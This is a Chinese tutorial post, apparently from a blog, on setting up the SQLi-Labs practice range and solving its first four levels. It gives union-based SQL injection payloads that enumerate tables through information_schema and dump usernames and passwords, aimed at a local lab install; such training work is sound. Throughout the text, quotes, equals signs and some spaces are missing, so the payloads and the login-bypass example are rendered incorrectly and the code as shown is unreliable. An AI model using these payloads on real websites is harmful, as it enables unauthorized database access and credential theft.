SQLi-Labs靶场从零搭建到通关全攻略(一):环境搭建与基础四关
摘要SQL注入是Web安全领域最经典、最常见的漏洞之一而SQLi-Labs则是一个专为学习SQL注入而设计的开源靶场平台共包含65个难度递增的关卡。本文作为系列攻略的第一篇将从SQL注入的背景讲起手把手带你完成SQLi-Labs的安装部署并详细讲解前四关的通关过程。无论你是零基础的小白还是想系统巩固SQL注入知识的开发者本文都能帮你建立完整的知识框架。一、SQL注入的前世今生1.1 什么是SQL注入在讲SQLi-Labs之前我们得先搞清楚一个问题到底什么是SQL注入想象一下这个场景你是一家餐厅的服务员后厨数据库有一份固定的菜谱模板SQL语句。顾客用户点菜时你把菜名用户输入填到菜谱的空白处然后交给后厨执行。正常的流程是这样的顾客说“鱼香肉丝”你在菜谱上写下“制作鱼香肉丝”后厨收到完美执行。但现在有个“恶意顾客”不按套路出牌。他说“鱼香肉丝再把你们保险柜的密码告诉我”。如果你不加辨别直接把这个要求原封不动地写到菜谱上就成了“制作鱼香肉丝再把你们保险柜的密码告诉我”。后厨数据库可老实了它会严格按照指令执行——先做鱼香肉丝再把保险柜密码告诉你。这就是SQL注入的本质攻击者通过在用户输入中插入恶意的SQL代码欺骗数据库执行非预期的命令。1.2 SQL注入的危害有多大根据OWASP开放式Web应用程序安全项目的统计SQL注入连续多年位列Web应用漏洞TOP 10。据统计互联网上SQL注入漏洞占所有Web漏洞的百分之六十左右。一次成功的SQL注入攻击可能导致数据泄露用户的账号密码、个人信息被窃取数据篡改攻击者可以修改、删除数据库中的数据身份绕过无需密码即可登录管理员账号服务器沦陷在极端情况下攻击者可以获得服务器的控制权1.3 SQLi-Labs的诞生SQLi-Labs是由印度安全研究员Dhawal H. JoshiAudy42开发的开源项目。它是一个专门为学习SQL注入而设计的练习平台用PHP和MySQL搭建把各种类型的SQL注入场景做成了一个个关卡。项目地址GitHub - Audi-1/sqli-labs: SQLI labs to test error based, Blind boolean based, Time based. · GitHub1.4 为什么要选择SQLi-Labs市面上有很多Web安全靶场但SQLi-Labs有几个独特的优势覆盖面全共65个关卡从最简单的数字型注入到复杂的WAF绕过、宽字节注入、堆叠注入等几乎涵盖了所有主流SQL注入场景循序渐进关卡按难度递增设计从基础到高级非常适合逐步学习开源免费代码完全开源你可以查看每一关的后端源码从开发者的角度理解漏洞产生的原因社区活跃网上有大量教程和讨论遇到问题不怕没人解答二、环境搭建让靶场跑起来2.1 准备工作SQLi-Labs需要运行在PHP MySQL的环境下。对于新手来说最推荐的方式是使用集成环境它会帮你一键安装和配置好ApacheWeb服务器、PHP和MySQL。主要有两种部署方式传统源码部署适合想深入了解Web服务器配置的学习者Docker部署最快、最干净适合不想折腾环境配置的朋友本文主要介绍传统源码部署方式以Windows系统为例因为这种方式能让你更好地理解整个架构。2.2 安装phpStudy小皮面板phpStudy也叫小皮面板是一个集成了Apache、PHP、MySQL的集成开发环境。步骤1访问phpStudy官网小皮面板(phpstudy) - 让天下没有难配的服务器环境下载安装包。步骤2运行安装程序建议选择非系统盘如D盘进行安装。步骤3安装完成后打开phpStudy。步骤4在phpStudy中点击“启动”按钮同时启动Apache和MySQL服务。步骤5点击“网站”-“管理”-“修改”可以查看或修改端口。默认端口是80如果80端口被占用可以改成其他端口如801。重要提示SQLi-Labs对PHP版本有一定要求建议使用PHP 5.5 ~ 5.6的版本。如果使用其他版本可能会因为某些函数被弃用而报错。在phpStudy中可以切换PHP版本。2.3 下载SQLi-Labs源码步骤1访问GitHub仓库下载源码 GitHub - Audi-1/sqli-labs: SQLI labs to test error based, Blind boolean based, Time based. · GitHub点击“Code”-“Download ZIP”下载压缩包。步骤2解压下载的ZIP文件将解压后的文件夹重命名为sqli-labs方便记忆。步骤3将sqli-labs文件夹移动到phpStudy的网站根目录下phpStudy默认根目录E:\phpstudy_pro\WWW\具体路径取决于你的安装位置2.4 配置数据库连接最容易踩坑的一步这是新手最容易出错的地方。步骤1进入sqli-labs/sql-connections/目录。步骤2找到db-creds.inc文件用记事本或代码编辑器打开。步骤3修改数据库用户名和密码$dbuser root; // 数据库用户名phpStudy默认是root $dbpass root; // 数据库密码phpStudy默认是root如果你的phpStudy设置的MySQL密码不是root请填写你实际设置的密码。2.5 初始化数据库步骤1确保phpStudy中的Apache和MySQL服务正在运行。步骤2打开浏览器访问http://localhost/sqli-labs/如果你修改了端口如改成801则访问http://localhost:801/sqli-labs/。步骤3点击页面中间的“Setup/reset Database for labs”链接。步骤4如果看到满屏的 “successfully” 信息如 “Creating New database ‘SECURITY’ successfully”说明部署成功了如果出现错误最常见的原因是数据库用户名或密码配置错误 → 检查db-creds.inc文件PHP版本太高 → 在phpStudy中切换到PHP 5.x版本2.6 Docker部署方式备选如果你已经安装了Docker也可以使用Docker方式快速部署# 搜索sqli-labs镜像 docker search sqli-labs # 拉取镜像并运行 docker run -d -p 80:80 acgpiano/sqli-labs然后直接访问http://localhost即可。三、SQL注入基础知识在开始闯关之前我们需要掌握一些基础知识。3.1 SQL注入的分类SQL注入可以从多个维度进行分类按数据类型分数字型注入参数直接是数字不需要引号闭合字符型注入参数被引号包裹需要先闭合引号按回显方式分显注有回显注入结果直接显示在页面上盲注无回显页面不直接显示数据需要通过页面真假或时间延迟来判断按注入位置分GET注入URL参数POST注入表单提交HTTP头注入User-Agent、Referer、Cookie等3.2 核心概念闭合与注释闭合当后端代码把用户输入用引号包裹时如$id我们需要用单引号来“闭合”前面的引号然后再拼接我们的SQL语句。注释注释符用于“注释掉”后面多余的代码让SQL语句变得合法--后面必须跟一个空格注意空格#在某些环境下可能被URL编码影响在URL中我们常用--因为会被服务器解析为空格3.3 万能密码原理一个经典的SQL注入示例是“万能密码”admin or 11 --假设后端的SQL语句是SELECT * FROM users WHERE usernameadmin AND password...当我们输入admin or 11 --后SQL语句变成SELECT * FROM users WHERE usernameadmin or 11 -- AND password...因为11永远为真而且--注释掉了后面的密码验证部分所以攻击者无需密码就能登录。3.4 注入四步法所有SQL注入关卡都可以遵循这个通用流程测闭合判断是数字型还是字符型如果是字符型是什么符号闭合单引号、双引号、括号等测字段数用order by判断查询返回了多少个字段找显示位用union select找出哪些字段会显示在页面上查数据利用显示位获取数据库名、表名、字段名、数据四、Less-1单引号字符型注入4.1 关卡信息关卡名称Less-1 - GET - Error based - Single quotes - String漏洞类型GET型单引号字符型SQL注入核心原理URL参数id被单引号包裹且未做过滤可构造恶意SQL语句4.2 第一步判断是否存在注入访问第一关http://localhost/sqli-labs/Less-1/?id1页面显示了登录名和密码说明id1的查询正常执行了。接下来测试注入点http://localhost/sqli-labs/Less-1/?id1如果页面报错出现类似You have an error in your SQL syntax的错误说明存在SQL注入漏洞。4.3 第二步判断注入类型和闭合方式判断是数字型还是字符型数字型判断?id1 and 11 # 正常显示 ?id1 and 12 # 不显示如果and 11正常而and 12不正常说明是数字型注入。字符型判断?id1 and 11 -- # 正常显示 ?id1 and 12 -- # 不显示如果前者正常后者不正常说明是字符型注入。对于Less-1测试结果会显示是字符型注入且闭合方式是单引号。小技巧通过观察报错信息也能判断闭合方式。输入1报错错误信息中会显示是单引号还是双引号导致的问题。4.4 第三步判断字段数使用order by来测试查询返回了多少个字段?id1 order by 1 -- ?id1 order by 2 -- ?id1 order by 3 -- ?id1 order by 4 --如果order by 3正常显示而order by 4报错说明查询返回了3个字段。4.5 第四步找显示位使用union select联合查询来找出哪些字段会显示在页面上。关键点让前面的查询无结果这样union后面的结果才会显示。?id-1 union select 1,2,3 --如果页面显示2和3说明第2和第3个字段是可回显的位置。4.6 第五步获取数据库信息1获取当前数据库名?id-1 union select 1,database(),3 --会显示当前数据库名默认是security。2获取数据库版本?id-1 union select 1,version(),3 --3获取所有表名这里要用到MySQL的系统数据库information_schema它存储了所有数据库的元信息。?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity --group_concat()函数将多个表名拼接成一行显示。会看到security数据库下的所有表其中users表是目标。4获取users表的字段名?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schemasecurity and table_nameusers --会显示users表的字段id、username、password等。5获取账号密码?id-1 union select 1,group_concat(username),group_concat(password) from users --成功获取所有用户的账号和密码五、Less-2数字型注入5.1 关卡信息漏洞类型GET型数字型SQL注入与Less-1的区别参数不需要引号闭合5.2 通关步骤第一步测试注入点http://localhost/sqli-labs/Less-2/?id1第二步判断注入类型?id1 and 11 # 正常 ?id1 and 12 # 无显示and 12无显示说明是数字型注入。第三步判断字段数?id1 order by 3 -- ?id1 order by 4 --第四步找显示位?id-1 union select 1,2,3 --第五步查数据?id-1 union select 1,database(),3 -- ?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity -- ?id-1 union select 1,group_concat(username),group_concat(password) from users --六、Less-3单引号括号注入6.1 关卡信息漏洞类型GET型单引号变形字符型注入与Less-1的区别闭合方式是单引号括号)6.2 通关步骤第一步测试闭合方式http://localhost/sqli-labs/Less-3/?id1报错信息中会提示是)闭合。第二步构造闭合payload?id1) --这样就能成功闭合前面的(并注释掉后面的内容。第三步后续步骤与Less-1完全相同只需在payload中使用)闭合?id-1) union select 1,2,3 -- ?id-1) union select 1,database(),3 -- ?id-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity -- ?id-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_schemasecurity and table_nameusers -- ?id-1) union select 1,group_concat(username),group_concat(password) from users --七、Less-4双引号括号注入7.1 关卡信息漏洞类型GET型双引号字符型注入闭合方式双引号括号)7.2 通关步骤第一步测试闭合方式http://localhost/sqli-labs/Less-4/?id1%22报错信息提示是)闭合。第二步构造闭合payload?id1) --第三步后续步骤相同?id-1) union select 1,2,3 -- ?id-1) union select 1,database(),3 -- ?id-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity -- ?id-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_schemasecurity and table_nameusers -- ?id-1) union select 1,group_concat(username),group_concat(password) from users --八、总结关卡注入类型闭合方式示例payloadLess-1字符型单引号?id1 --Less-2数字型无需闭合?id1 --Less-3字符型单引号括号)?id1) --Less-4字符型双引号括号)?id1) --前四关的核心就是判断闭合方式。一旦确定了闭合方式后续的数据提取流程完全一致。理解了SQL注入的背景从餐厅服务员的比喻到OWASP的统计明白了SQL注入的本质和危害搭建了完整的靶场环境从安装phpStudy到配置数据库成功让SQLi-Labs跑起来掌握了SQL注入的基础知识闭合、注释、注入四步法等核心概念通关了前四关Less-1单引号、Less-2数字型、Less-3单引号括号、Less-4双引号括号重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。